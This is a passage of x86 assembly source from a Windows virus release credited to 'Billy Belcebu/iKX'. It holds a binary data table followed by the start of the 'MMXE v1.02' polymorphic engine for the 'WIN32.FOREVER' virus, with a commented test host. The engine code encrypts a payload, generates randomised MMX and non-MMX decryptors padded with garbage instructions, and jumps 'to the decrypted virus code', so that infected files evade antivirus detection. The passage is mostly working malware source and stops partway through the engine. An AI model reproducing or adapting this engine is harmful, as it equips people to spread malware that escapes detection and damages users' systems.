db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 008h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 008h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 008h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 016h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 016h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 016h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 00Eh, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 000h, 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch
db 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 012h, 000h, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 006h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch
db 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h
db 000h, 07Ch, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 006h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 01Ah, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 004h, 000h, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 004h
db 000h, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 004h, 000h, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h
db 000h, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 004h, 000h, 0FFh, 07Fh, 000h
db 001h, 000h, 07Ch, 000h, 001h, 000h, 07Ch, 000h
db 001h, 000h, 07Ch, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 0FFh, 07Fh, 000h
db 024h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 004h, 000h, 0FFh, 07Fh, 000h, 001h, 000h
db 07Ch, 000h, 001h, 000h, 07Ch, 000h, 001h, 000h
db 07Ch, 0FFh, 07Fh, 000h, 002h, 000h, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 000h, 002h, 000h, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 000h, 002h, 000h
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh
db 0FFh, 07Fh, 000h, 00Eh, 000h, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh, 07Fh, 0FFh
db 07Fh, 0FFh, 07Fh, 000h, 082h, 000h, 001h, 000h
db 001h, 000h, 001h, 000h, 001h, 000h, 020h, 020h
db 000h, 002h, 000h, 001h, 000h, 001h, 000h, 018h
db 000h, 001h, 000h, 0A8h, 008h, 000h, 002h, 000h
db 001h, 000h, 0A5h, 008h
sdr0p1 equ ($-offset dr0p1)

;------------------------------[ MMXE102.INC ]------------------------------;

;############################################################################
;# WIN32.FOREVER - POLY ENGINE (MMXE v1.02) (c) 2000 Billy Belcebu/iKX #
;############################################################################

; This is a fake host used for testing the babe

comment ~
.586p
.model flat,stdcall

extrn ExitProcess:PROC
extrn GetTickCount:PROC
extrn MessageBoxA:PROC
rdtcs equ <dw 310Fh>

.data
db "[MMXE] - MultiMedia eXtensions Engine v1.02",0
db "Who said that 2nd versions were worse than 1st ones?",0
.code

; Here follows some code used by me for test the engine

fakehost:
xor ebp,ebp

call GetTickCount
mov dword ptr [ebp+rnd_seed1],eax
rdtcs
mov dword ptr [ebp+rnd_seed2],eax
mov dword ptr [ebp+rnd_seed3],edx

int 3

lea esi,crypt
lea edi,buffer
mov ecx,cryptsize
call mmxe

call buffer ; Decrypt

push 00001000h
push offset c1
push offset c2
push 00000000h
call MessageBoxA

push 0
call ExitProcess

nop

buffer:
db LIMIT dup (90h)

crypt: ret
c1: db "[MMXE."
db (mmxe_end-mmxe)/1000 mod 10 + "0"
db (mmxe_end-mmxe)/0100 mod 10 + "0"
db (mmxe_end-mmxe)/0010 mod 10 + "0"
db (mmxe_end-mmxe)/0001 mod 10 + "0"
db "]",0
c2: db "Late at night i found myself again",10
db "wondering and watching TV",10
db "I can't believe what's on the screen",10
db "something that i wouldn't like to see",10
db "Many rare species will perish soon",10
db "and we'll be short on food",10
db "Why do we have to be so selfish",10
db "we have to change our attitude",10
db "I know that i am not",10
db "the only one that's worried",10
db "Why don't we all",10
db "wake up, and and realize",10
db "Like the birds in the sky",10
db "we are flying so high",10
db "without making anykind of sacrifice",10
db "We've got so little time",10
db "to undo this crime",10
db "or we'll lose our paradise",10
db "It seems to me that there's no sense at all",10
db "nobody cares, it's always the same",10
db "Mother nature's crying out in pain",10
db "I know we are the ones to blame",10
db "Paradise [ Stratovarius ]",10,10
db "(c) 2000 Billy Belcebu/iKX",0
dd 00000000h
cryptsize equ $-crypt

~

; Here begins the party

; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
; [MMXE] - MultiMedia eXtensions Engine v1.02
; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=
;
; input:
; ECX = Size of code to encrypt
; ESI = Pointer to the data to encrypt
; EDI = Buffer where put the decryptor
; EBP = Delta Offset
; output:
; ECX = Decryptor size
;
; All the other registers, preserved.
;

; [ Default MMXE settings ]

LIMIT equ 1000h ; Decryptor size (4K)
RECURSION equ 05h ; The recursion level of THME
nGARBAGE equ 08h ; Sorta level of garbage

; [ Registers ]

_EAX equ 00000000b ; All these are the numeric
_ECX equ 00000001b ; value of all the registers.
_EDX equ 00000010b ; Heh, i haven't used here
_EBX equ 00000011b ; all this, but... wtf? they
_ESP equ 00000100b ; don't waste bytes, and ma-
_EBP equ 00000101b ; ke this shit to be more
_ESI equ 00000110b ; clear :)
_EDI equ 00000111b ;

; [ MMX registers ]

_MM0 equ 00000000b
_MM1 equ 00000001b
_MM2 equ 00000010b
_MM3 equ 00000011b
_MM4 equ 00000100b
_MM5 equ 00000101b
_MM6 equ 00000110b
_MM7 equ 00000111b

; [ Internal flags ]

_CHECK4MMX equ 0000000000000001b
_DELTAOFFSET equ 0000000000000010b
_LOADSIZE equ 0000000000000100b
_LOADPOINTER equ 0000000000001000b
_LOADKEY equ 0000000000010000b
_PASSKEY2MMX equ 0000000000100000b
_PASSPTR2MMX equ 0000000001000000b
_CRYPT equ 0000000010000000b
_PASSMMX2PTR equ 0000000100000000b
_INCPOINTER equ 0000001000000000b
_DECCOUNTER equ 0000010000000000b
_LOOP equ 0000100000000000b

; [ POSITIONS ]

@CHECK4MMX equ 00h
@DELTAOFFSET equ 01h
@LOADSIZE equ 02h
@LOADPOINTER equ 03h
@LOADKEY equ 04h
@PASSKEY2MMX equ 05h
@PASSPTR2MMX equ 06h
@CRYPT equ 07h
@PASSMMX2PTR equ 08h
@INCPOINTER equ 09h
@DECCOUNTER equ 0Ah
@LOOP equ 0Bh

; [ PUSHAD structure ]

PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch

RETURN_ADDRESS equ 04h

; [ MMXE v1.02 ]

mmxe proc
pushad
call @@init_mmxe ; Initialize some engine values

pushad
call @@crypt_data ; Crypt the data now
popad

call @@gen_some_garbage

call @@gen_check4mmx ; This must be first :)

call @@gen_some_garbage

; Generate the 5 parts of the decryptor that go before the loop

@@gb4l_:
call @@gen_some_garbage
call @@gen_before_loop
@@gb4l?:
movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; Check if all flags were
_DELTAOFFSET or \ ; done ... (They should be,
_LOADSIZE or \ ; but i don't trust in my own
_LOADPOINTER or \ ; code :)
_LOADKEY or \
_PASSKEY2MMX
jnz @@gb4l_

; Get the loop point

call @@getloopaddress
call @@gen_some_garbage

; Generate the decryptor instructions that form the loop

lea esi,[ebp+@@after_looptbl]
mov ecx,@@s_aftlooptbl
@@gal: lodsd
add eax,ebp

push ecx esi
call eax
call @@gen_some_garbage
pop esi ecx

loop @@gal
nop
nop

mov al,0E9h ; Build the jmp for jump over
stosb ; the MMX decryptor and the
mov eax,LIMIT ; shit after it :)
mov ebx,edi
sub ebx,dword ptr [ebp+@@ptr_buffer]
add ebx,4
sub eax,ebx
stosd

; And now generate the non-MMX decryptor

call @@gen_garbage

mov eax,dword ptr [ebp+@@ptrto2nd]
mov ebx,edi
sub ebx,eax
sub ebx,4
mov dword ptr [eax],ebx

and word ptr [ebp+@@flags],0000h
and byte ptr [ebp+@@init_mmx?],00h
or word ptr [ebp+@@flags],_CHECK4MMX

@@gb4lx_:
call @@gen_some_garbage
call @@gen_before_loop_non_mmx

@@gb4lx?:
movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; Check if all flags were
_DELTAOFFSET or \ ; done ... (They should be,
_LOADSIZE or \ ; but i don't trust in my own
_LOADPOINTER or \ ; code :)
_LOADKEY
jz @@continue_with_this

movzx ecx,word ptr [ebp+@@flags]
xor ecx,_CHECK4MMX or \ ; In strange files, i dunno
_DELTAOFFSET or \ ; why, instead 1F, we must
_LOADSIZE or \ ; check for 3F... otherwise,
_LOADPOINTER or \ ; all it goes to hell :(
_LOADKEY or \
_PASSKEY2MMX
jnz @@gb4lx_

@@continue_with_this:
call @@gen_garbage
call @@getloopaddress

lea esi,[ebp+@@after_l00ptbl]
mov ecx,@@s_aftl00ptbl
@@galx: lodsd
add eax,ebp

push ecx esi
call eax
call @@gen_some_garbage
pop esi ecx

loop @@galx

mov al,0E9h ; Generate the JMP to the
stosb ; decrypted virus code
mov eax,LIMIT
mov ebx,edi
sub ebx,dword ptr [ebp+@@ptr_buffer]
add ebx,04h
sub eax,ebx
stosd

xchg eax,ecx ; Fill with shit the rest
@@FillTheRest:
pushfd
call random
popfd
stosb
loop @@FillTheRest
@@scissors:
call @@uninit_mmxe
popad
